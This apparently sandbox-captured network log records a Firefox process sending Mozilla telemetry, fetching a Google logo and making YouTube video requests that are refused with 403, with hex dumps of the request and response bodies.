2024-01-17 23:35:43 UTC	1055	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff d5 56 db 6e db 38 10 fd 17 bd 36 34 28 8a ba f9 0f f6 79 bb d8 87 a2 10 86 e2 c8 21 22 8b 2a 49 a5 f5 06 f9 f7 1d 4a 8e 2d 37 4e 76 d1 06 2d 02 18 36 3c 1c 9e 39 9c 39 33 e4 43 32 9a 61 d7 98 a1 b3 c9 f6 21 f1 f8 25 d9 ca 9b c4 07 70 a1 09 66 8f c9 36 11 5c 64 2c e5 8c e7 1f 79 b5 15 fc 03 17 5b ce 93 9b 04 07 fd 9f 3e 0e c1 db 81 3c 06 fc 1a 40 35 1e bd 37 76 68 68 6f 44 f8 36 a2 23 84 21 f8 25 bc 1b 19 68 16 b0 c7 3d 06 77 60 ce f6 bd 9d 42 5c 54 0e 86 f6 96 90 5a 3b 04 b2 cf db 83 83 b8 86 43 74 8c 38 7f 68 f2 40 29 2b 68 b3 82 65 39 a4 4c 8a 54 31 28 b0 60 1a 74 5e 75 2a eb ca b2 a6 ed e1 30 46 ee 83 d9 ab c9 9f 42 3d 3e de 24 ad bf 67 66 3f 5a 17 98 23 2e e0 f1 2a 13 1c 40 f5 c8 ce de 6b 4e d7 d1 6f be e7 aa 65 0b 99 c6 Data Ascii: Vn864(y!"IJ-7Nv-6<993C2a!%pf6\d,y[><@57vhhoD6#!%h=w`B\TZ;Ct8h@)+he9LT1(`t^u0FB=>$gf?Z#.*@kNoe
2024-01-17 23:35:43 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:43 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.6	50229	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:43 UTC	618	OUT	POST /submit/firefox-desktop/newtab/1/ef389260-b0e9-43df-b1b9-745ffc85ea47 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:43 GMT content-length: 516 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:43 UTC	516	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 92 dd 8e 9b 30 10 85 df c5 b7 89 91 cd 4f 02 bc 46 53 f5 a2 aa 2c 1b c6 89 b5 c4 66 6d d3 34 8a f2 ee 1d 07 92 d2 dd 95 10 88 99 6f e6 8c 8f e7 46 46 63 8f c2 58 ed 48 7b 23 01 de 49 bb db 92 10 a5 8f 22 9a 33 90 96 e4 2c 2f 28 67 94 55 07 56 b7 39 db b0 bc 65 8c 6c 09 d8 7e c5 94 94 71 ca eb 03 66 f3 62 c3 f8 cc 78 90 c1 59 24 3a 77 1e 9d 05 1b 51 cc 44 72 df 92 6e 30 f3 ef ac 1d 61 80 33 44 7f 15 a1 7f 13 6a 32 43 8f 65 55 91 e5 59 6a f4 a4 53 b0 29 a1 6c 76 4a d3 a2 db 03 2d 7b d5 d0 46 e9 9a f2 3c d7 4d a3 a0 e8 64 85 25 17 63 7b 77 09 73 2f 61 a7 b3 02 4f 5a de b0 b2 da 12 17 b0 d1 8f 99 40 76 70 9d 1c d2 49 c0 d2 ef df 48 ca 8b df e0 83 79 0c cf d9 63 06 39 8e a2 3b 49 6b 61 c0 a0 c7 81 65 80 25 de 9b 30 0e f2 ba 2e Data Ascii: m0OFS,fm4oFFcXH{#I"3,/(gUV9el~qfbxY$:wQDrn0a3Dj2CeUYjS)lvJ-{F<Md%c{ws/aOZ@vpIHyc9;Ikae%0.
2024-01-17 23:35:44 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:44 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.6	50230	142.251.35.164	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:44 UTC	435	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: image/avif,image/webp,/ Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://accounts.google.com/ Sec-Fetch-Dest: image Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-site
2024-01-17 23:35:44 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Wed, 17 Jan 2024 23:35:44 GMT Expires: Wed, 17 Jan 2024 23:35:44 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:44 UTC	581	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-01-17 23:35:44 UTC	1252	IN	Data Raw: 4d a5 8b 3a 9b 02 75 78 c5 f7 87 37 97 5d 86 eb c2 27 90 d0 28 71 ed aa aa 84 7e 07 e9 86 09 f2 0e 4b 51 c8 57 e2 ad 97 9c 2c 62 b5 d6 4c 3c b7 59 09 5d 9b 56 2b ee ca a8 a1 ba 74 34 bc 24 a3 56 dc ba 4f 09 8f f6 bd 8e 44 a2 35 0c b1 76 9e 6a 81 f6 ae 48 64 10 4d fc f6 b4 12 7a 9b 88 94 b3 1a b8 9e 56 83 f3 71 bf 70 89 ee 97 c4 e0 8e c6 d2 3b 3a 1b 4a de 25 32 e5 ac 47 c9 3b b8 2f b7 45 0c f2 e2 21 88 48 cb 20 df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb Data Ascii: M:ux7]'(q~KQW,bL<Y]V+t4$VOD5vjHdMzVqp;:J%2G;/E!H /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iH
2024-01-17 23:35:44 UTC	1252	IN	Data Raw: 6d 97 e3 95 74 b4 e2 16 73 bd 7d 41 a9 cd 5e 6b a1 2d fd 0d 7e be 97 dd e0 62 a6 99 70 2f 7e 4f 5e 26 93 61 26 ec e2 d8 18 32 cb d0 18 66 b7 a6 f2 2c 56 4b 21 29 0e 37 94 5d 2a 5c 00 ae 93 21 56 26 cf 8d 1d ec 69 99 b5 2f bb 23 96 f6 b8 57 62 ed 8b 4c b8 c8 19 99 82 6d 14 3b fd 1a 44 14 bd 09 98 6d 2b dd 84 32 9b 07 3d 15 a4 f9 5a 59 05 d7 53 0f b2 89 3c 90 99 fe 47 e1 e4 a9 70 fa 1d 77 c1 7b 68 1e 53 9a f8 7b 9e 5c b0 95 21 c5 5c 97 c1 fb 3c 46 ae 78 21 af 8c f3 72 cf 8c 5b 5b e1 e6 df 05 87 7d fd 04 ef 20 8d 75 55 22 f8 1e 65 e0 0b 5a 2b 2b cf 11 7d 05 a8 be f8 47 b7 22 97 5f cb 45 2e 20 c4 49 1b 90 1f 0a 4f fc 20 1d 66 74 a8 6d d0 57 44 31 98 0b aa 86 b7 73 e2 aa 79 0f 91 a0 b6 07 29 1a 4a 5e 77 fc 3b 20 94 36 95 6c 67 84 d2 a5 76 f1 11 ba 72 d1 32 23 Data Ascii: mts}A^k-~bp/~O^&a&2f,VK!)7]*\!V&i/#WbLm;Dm+2=ZYS<Gpw{hS{\!\<Fx!r[[} uU"eZ++}G"_E. IO ftmWD1sy)J^w; 6lgvr2#
2024-01-17 23:35:44 UTC	85	IN	Data Raw: 90 b0 02 a4 06 b2 5c cf 3b 25 14 54 77 f9 54 45 09 c7 c0 b3 31 f0 04 69 9c 1e e7 ca 39 c7 1e dd 99 bd 0e 81 bc 90 90 f0 02 94 bd a8 07 eb 02 fc 57 7c f8 5a 48 48 48 48 48 48 48 48 48 48 10 fe 07 d8 95 18 53 b9 4a 7f b2 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: \;%TwTE1i9W\|ZHHHHHHHHHHSJIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.6	50231	173.194.57.39	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:44 UTC	1370	OUT	GET /videoplayback?expire=1346786392&ei=iLfHahFDxq7UY-1BtTnrg0m&ip=66.6.23.50&id=o-AFwJ3Bh3iSVhOC0GhDdF1oQ6Si2JwU3MmMTjAUsspsqww&itag=18&source=youtube&requiressl=yes&mh=X6&mm=293%2C30652%2C86954&mn=JS760%2C4L9T0%2CDVwMY&ms=JS760%2C4L9T0%2CDVwMY&mv=8&mvi=4&pl=60&ctier=L&initcwndbps=8341635&siu=4&spc=YMhnsDo-V3iaULrnWPEUxDVS41lomut8O73b0S072ZkZ&vprv=4&svpuc=4&mime=video%2Fmp4&ns=qwKoJk1u7yhLIsJaHJ9fuFR7&cnr=60&ratebypass=yes&dur=36949506&lmt=6219481202467914&mt=1346786392&fvip=3&c=WEB&txp=8341635&n=dJjgJ7l5Ht-sNq-c&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0 HTTP/1.1 Host: rr2---sn-q4fl6nz6.googlevideo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:44 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:44 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.6	50232	173.194.57.39	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:44 UTC	1362	OUT	GET /videoplayback?expire=1346786392&ei=iLfHahFDxq7UY-1BtTnrg0m&ip=66.6.23.50&id=o-AFwJ3Bh3iSVhOC0GhDdF1oQ6Si2JwU3MmMTjAUsspsqww&itag=18&source=youtube&requiressl=yes&mh=X6&mm=293%2C30652%2C86954&mn=JS760%2C4L9T0%2CDVwMY&ms=JS760%2C4L9T0%2CDVwMY&mv=8&mvi=4&pl=60&initcwndbps=8341635&siu=4&spc=YMhnsDo-V3iaULrnWPEUxDVS41lomut8O73b0S072ZkZ&vprv=4&svpuc=4&mime=video%2Fmp4&ns=qwKoJk1u7yhLIsJaHJ9fuFR7&cnr=60&ratebypass=yes&dur=36949506&lmt=6219481202467914&mt=1346786392&fvip=3&c=WEB&txp=8341635&n=dJjgJ7l5Ht-sNq-c&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0 HTTP/1.1 Host: rr2---sn-q4fl6nz6.googlevideo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:44 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:44 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.6	50236	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:44 UTC	620	OUT	POST /submit/firefox-desktop/baseline/1/137d78ac-f803-47ba-aeb6-e12b2746df19 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:44 GMT content-length: 764 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:44 UTC	764	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 9d 54 db 72 e3 36 0c fd 17 bd 26 f0 90 14 75 f3 1f f4 b9 e9 f4 51 03 92 90 c3 89 4c a9 24 95 ac 9b d9 7f 2f 28 6f 5c b7 9b 76 76 d6 e3 b1 39 00 0e 70 78 00 f0 bd 5a 7d 38 8d 3e 4c 4b 75 7c af 12 fd 51 1d d5 63 95 32 c6 3c 66 7f a6 ea 58 29 a1 6a 90 02 44 f3 24 fa a3 12 0f 42 1d 85 a8 1e 2b 0a ee 2e 46 83 90 20 fb 27 f6 aa fa 41 c8 6b 4c 24 4c 4b e0 08 b4 d9 bf 52 41 7d 59 29 32 2a e4 54 4a 6e eb 29 a2 23 48 eb 92 67 7f 7a ce 10 97 79 5e b6 5c 9c 26 62 b0 cf 8c ce 9c 27 17 cc 9e 20 47 2c de 7c 59 4b ed e0 cf 66 4b 37 58 e1 55 ce 25 fa 17 c7 7e 3b 4d b2 27 4d 80 35 29 d0 8d b0 80 aa 9f 80 64 af b4 93 4d 43 aa ad be 7e e5 5b 53 5c 01 1d 64 9a e9 4c 39 5e 3e a5 62 97 90 d9 fe 13 44 48 eb 1e 6d dd 42 dd a0 04 ad a4 01 6c a9 05 87 Data Ascii: Tr6&uQL$/(o\vv9pxZ}8>LKu\|Qc2<fX)jD$B+.F 'AkL$LKRA}Y)2*TJn)#Hgzy^\&b' G,\|YKfK7XU%~;M'M5)dMC~[S\dL9^>bDHmBl
2024-01-17 23:35:44 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:44 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.6	50238	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:44 UTC	628	OUT	POST /submit/firefox-desktop/messaging-system/1/11a71126-4d48-4449-9378-318b63dda184 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:44 GMT content-length: 741 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:44 UTC	741	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 9d 54 4d 8f db 36 10 fd 2f bc ee d2 e5 a7 2c fb 96 43 50 f4 d0 16 88 b7 e8 25 80 30 12 47 36 b1 32 a5 92 d4 3a db 20 ff bd 43 d9 bb d9 c6 6e 11 04 30 2c 62 e6 cd cc e3 9b 19 7e 66 93 0f fb c6 87 7e 64 db cf 2c e1 5f 6c 2b c5 3d 4b 19 62 6e b2 3f 22 db 32 25 94 e6 52 70 61 1f 44 bd 55 e2 4e a8 ad 10 ec 9e 61 70 6f 30 86 0b c9 65 fd 40 5e a5 ef 84 bc 60 3e 4d 18 09 13 72 3a 57 88 13 07 c7 33 0e 78 c4 1c 9f 79 1c 87 61 9c 73 71 b6 11 42 77 a0 6c dd 18 32 d9 97 f0 1c a1 f8 f2 f3 54 ea 04 7f 6c e7 f4 1a 54 38 94 73 c9 ff 8b 23 3f 1a 53 43 a7 2b ae 2d 48 6e 94 6c 39 54 58 71 07 ce d6 7d ab fb f5 7a c3 be 7c b9 67 f3 b4 8f e0 90 a7 69 cc 83 df 1f f2 4d 22 39 22 e4 92 fc 07 a8 74 7d 2f 6b 34 c8 41 a3 e2 c6 8a 8e 83 aa 7b 8e b2 56 c6 Data Ascii: TM6/,CP%0G62: Cn0,b~f~d,_l+=Kbn?"2%RpaDUNapo0e@^`>Mr:W3xyasqBwl2TlT8s#?SC+-Hnl9TXq}z\|giM"9"t}/k4A{V
2024-01-17 23:35:45 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:45 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.6	50237	173.194.57.39	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:45 UTC	1370	OUT	GET /videoplayback?expire=1346786392&ei=iLfHahFDxq7UY-1BtTnrg0m&ip=66.6.23.50&id=o-AFwJ3Bh3iSVhOC0GhDdF1oQ6Si2JwU3MmMTjAUsspsqww&itag=18&source=youtube&requiressl=yes&mh=X6&mm=293%2C30652%2C86954&mn=JS760%2C4L9T0%2CDVwMY&ms=JS760%2C4L9T0%2CDVwMY&mv=8&mvi=4&pl=60&ctier=L&initcwndbps=8341635&siu=4&spc=YMhnsDo-V3iaULrnWPEUxDVS41lomut8O73b0S072ZkZ&vprv=4&svpuc=4&mime=video%2Fmp4&ns=qwKoJk1u7yhLIsJaHJ9fuFR7&cnr=60&ratebypass=yes&dur=36949506&lmt=6219481202467914&mt=1346786392&fvip=3&c=WEB&txp=8341635&n=dJjgJ7l5Ht-sNq-c&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0 HTTP/1.1 Host: rr2---sn-q4fl6nz6.googlevideo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:45 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:45 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.6	50239	173.194.57.39	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:45 UTC	1362	OUT	GET /videoplayback?expire=1346786392&ei=iLfHahFDxq7UY-1BtTnrg0m&ip=66.6.23.50&id=o-AFwJ3Bh3iSVhOC0GhDdF1oQ6Si2JwU3MmMTjAUsspsqww&itag=18&source=youtube&requiressl=yes&mh=X6&mm=293%2C30652%2C86954&mn=JS760%2C4L9T0%2CDVwMY&ms=JS760%2C4L9T0%2CDVwMY&mv=8&mvi=4&pl=60&initcwndbps=8341635&siu=4&spc=YMhnsDo-V3iaULrnWPEUxDVS41lomut8O73b0S072ZkZ&vprv=4&svpuc=4&mime=video%2Fmp4&ns=qwKoJk1u7yhLIsJaHJ9fuFR7&cnr=60&ratebypass=yes&dur=36949506&lmt=6219481202467914&mt=1346786392&fvip=3&c=WEB&txp=8341635&n=dJjgJ7l5Ht-sNq-c&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0 HTTP/1.1 Host: rr2---sn-q4fl6nz6.googlevideo.com User-Agent: Mozilla/5.0 (Windows NT 